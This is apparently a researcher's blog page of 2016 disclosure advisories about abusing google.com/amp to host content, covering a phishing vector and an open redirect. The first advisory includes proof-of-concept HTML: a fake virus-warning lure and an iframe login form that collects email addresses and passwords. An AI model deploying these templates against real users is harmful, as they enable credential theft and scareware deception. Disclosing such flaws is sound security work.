2016-06-30: Bug filed Mozilla/FireFox
2016-06-30: Response from Chromium, Won’t Fix
2016-07-12: Response from Android, not a security issue
2016-07-13: Android team is ok with disclosure
2016-07-14: Mozilla removes security restrictions on the bug
2016-07-26: Public disclosure

Advisory: Using www.google.com to Host Malicious Mobile Content

nightwatchcyber Advisories ,

Overview

It is possible to use a flaw in Google.com to host malicious content. However, such content is not able to interact with anything on Google.com domain itself.

Details

Google’s main website provides a subsite for displaying mobile-optimized pages published using a special subset of HTML called AMP. The current implementation can display any AMP page on the Internet without checking content. The URL is as follows:

https://www.google.com/amp/XXXX

where XXXX is the URL of the site. This ONLY works on mobile devices and can be simulated using Chrome’s developer tools, but on desktop browsers, it will redirect to the page itself (as described in our earlier post). Here is a real working example:

https://www.google.com/amp/www.usatoday.com/story/life/people/2016/03/31/world-famous-architect-zaha-hadid-dies-age-65/82466082/

amp1.png
Example of AMP site running on Google.com directly

This, however, can be used to display malicious content. Due to the way AMP is designed, AMP pages are not allowed to have Javascript, or “javascript:” URLs. They can, however, have URLs that lead to the Google Play store or iTunes. This can be leveraged to fool users into installing apps they don’t need — all on Google.com. Here is an example screenshot — note the URL and that a valid Google.com certificate is used. The link goes to the Google play store.

amp2.png
Source code - BODY tag only, rest is standard AMP HTML (see here):
<body><amp-img src=”glogo.jpg” alt=”logo” height=”200px” width=”300px”></amp-img> <h3>We have scanned your phone and found it to be infected with a virus. To clean your off, please click on the link below</h3> <p><a href=”https://play.google.com/store/apps/details?id=com.cleanmaster.mguard&hl=en">Clean My Phone</a></p></body>

Taking this a step further, while AMP does not allow forms and Javascript in the main page, it does allow Javascript and forms in an iframe, as long as that iframe is at least 75% down from the top of the page. This can be used to do the following — embedding a malicious login form inside an iframe which then can be used to steal people’s Google account credentials. Example screenshot and source below — this is not styled since it is a POC.

 amp3.png
amp4.png

Main page BODY:

<body>
<amp-img src=”glogo.jpg” alt=”logo” height=”300px” width=”300px”></amp-img>
<amp-img src=”glogo.jpg” alt=”logo” height=”300px” width=”300px”></amp-img>
<h3>You have logged out of your account, please login again below</h3>
<amp-iframe width=”300px” height=”300px”
    sandbox=”allow-scripts allow-forms” layout=”responsive”
    frameborder=”0" src=”iframe.html">
</amp-iframe>
</body>

Iframe Source:

<!doctype html>
<html>
 <head>
 <meta charset=”utf-8">
 <title>Test1</title>
 </head>
 <body>
 <form action=”form.py”>
 Email: <input type=”text” name=”email”/><br/>
 Password: <input type=”password” name=”password”/><br/>
 <input type=”submit”/>
 </form>
 </body>
</html>

Vendor Response

The vendor has communicated that they do not consider this to be a security issue

References

Credits

Researched and written by Yakov Shafranovich.

Timeline

2016–04–12: Vendor notified
2016–04–13: Vendor response
2016–04–13: Public disclosure

Advisory: Open redirect on Google.com

nightwatchcyber Advisories ,

Overview

An open redirect is operating at www.google.com

Details

Google’s main website provides a subsite for displaying mobile-optimized pages published using a special subset of HTML called AMP. While this works for mobile devices, for non-mobile devices, this redirects to the original site, thus resulting in an open redirect. The subsite operates at the following URL:

https://www.google.com/amp/XXXX

where XXXX is the URL of the site. Here is an example of a legit URL — in mobile browsers this would display the actual article (this can simulated using Chrome’s developer tools):

https://www.google.com/amp/www.usatoday.com/story/life/people/2016/03/31/world-famous-architect-zaha-hadid-dies-age-65/82466082/

HOWEVER, on non-mobile devices this would redirect to:

http://www.usatoday.com/story/life/people/2016/03/31/world-famous-architect-zaha-hadid-dies-age-65/82466082/

Because the vendor accepts any site without whitelist, this can be used as an open redirect. Additionally, since this is hosted on the same main domain as the search engine, it can in theory be used to drive XSS or other similar attacks, although this is mitigated by the fact that AMP currently does not allow Javascript.

Vendor Response

The vendor communicated that they do not consider open redirects to be a security issue

References

Credits

Discovered and written by Yakov Shafranovich.

Timeline

2016–04–07: Vendor notified
2016–04–07: Vendor response
2016–04–11: Public disclosure